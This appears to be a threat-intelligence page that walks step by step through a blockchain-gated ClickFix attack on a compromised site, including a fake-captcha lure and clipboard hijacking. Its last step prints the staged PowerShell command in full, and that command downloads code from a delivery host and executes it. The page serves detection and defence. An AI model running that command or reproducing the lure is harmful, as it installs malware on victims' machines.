dev.rushtaxresolution.com

Blockchain-gated·A compromised dev.rushtaxresolution.com page loads a blockchain-gated ClickFix kit. An eth_call to a public RPC resolves the on-chain loader, then the lure UI stages a clipboard PowerShell payload for Win+R paste. Delivery observed via codes.browse-cdn.beer, polygon.therpc.io.

1. 1

   Compromised site loads the lure

   Visitors reach dev.rushtaxresolution.com - a legitimate page that now embeds third-party JavaScript. The injector pulls the ClickFix kit from an external delivery host instead of showing the attack immediately.

   Victim URLhttps://dev[.]rushtaxresolution[.]com/
2. 2

   Blockchain RPC gate resolves the loader

   This kit uses an on-chain eth_call gate to resolve the live loader before exposing the lure UI.

   Delivery rotatorhttps://codes[.]browse-cdn[.]beer/get_script
3. 3

   Victim clicks the fake captcha

   After the visitor checks the box, the overlay advances to a step-by-step panel (often branded as Skype, Cloudflare, or a “verification” wizard).

   Screenshot evidencebefore=challenge · after=instructions
4. 4

   Win+R → Ctrl+V → Enter

   The panel instructs the victim to press Win+R, paste from the clipboard, and press Enter. The malicious command never appears in the browser address bar - only in the Run dialog.

5. 5

   Clipboard is primed with the payload

   The kit hooks navigator.clipboard.writeText so the PowerShell one-liner is already on the clipboard when the victim reaches the paste step.

   Browser APInavigator.clipboard.writeText(payload)
6. 6

   PowerShell downloads and runs malware

   PowerShell one-liner downloads and executes a staged binary from the delivery host

   Staged commandirm 'codes.browse-cdn.beer/e8ed08695447ab99'|iex;